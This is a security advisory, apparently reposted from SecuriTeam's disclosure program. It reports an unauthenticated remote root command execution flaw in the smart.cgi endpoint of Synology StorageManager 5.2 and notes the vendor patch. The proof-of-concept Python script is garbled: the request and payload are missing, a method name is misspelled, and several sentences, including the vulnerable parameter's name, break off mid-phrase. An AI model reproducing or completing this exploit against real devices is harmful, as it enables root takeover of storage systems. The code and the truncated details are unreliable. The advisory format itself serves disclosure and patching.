Synology StorageManager 5.2 Remote Command Execution

Type packetstorm
Reporter securiteam
Modified 2017-11-29T00:00:00


SSD Advisory a Synology StorageManager smart.cgi Remote Command Execution  
Full report:  
Twitter: @SecuriTeam_SSD  
Weibo: SecuriTeam_SSD  
i>>?Vulnerability Summary  
The following advisory describes a remote command execution vulnerability  
found in Synology StorageManager.  
Storage Manager is aa management application that helps you organize and  
monitor the storage capacity on your Synology NAS. Depending on the model  
and number of installed hard drives, Storage Manager helps you accomplish  
the following tasks:  
Create different types of RAID and non-RAID storage configurations, such as  
volumes, disk/RAID groups, iSCSI LUNs, and iSCSI Targets.  
Monitor the overall storage usage of your Synology NAS.  
Inspect the health of installed hard drives and solid state drives.  
Use advanced options, such as hot spare drives, SSD TRIM, SSD cache, and  
An independent security researcher, Nigusu Kassahun, has reported this  
vulnerability to Beyond Securityas SecuriTeam Secure Disclosure program  
Vendor response  
Synology has released patches to address this vulnerability a DSM 5.2-5967-5  
For more information:  
Vulnerability details  
User controlled input is not sufficiently sanitized, and then passed to  
execve function.  
Successful exploitation of this vulnerability enables a remote  
unauthenticated user to run commands as root on the machine.  
The vulnerable parameter can be found in  
/webman/modules/StorageManager/smart.cgi with parameter  
Proof of Concept  
# Synology StorageManager <= 5.2 Remote Root Command Execution  
import httplib  
HOST = raw_input("Enter Host: ")  
#IDOR to bypass auth and ticks to chain commands  
conn = httplib.HTTPConnection(HOST)  
res = conn.geresponse()  
print res.status, res.reason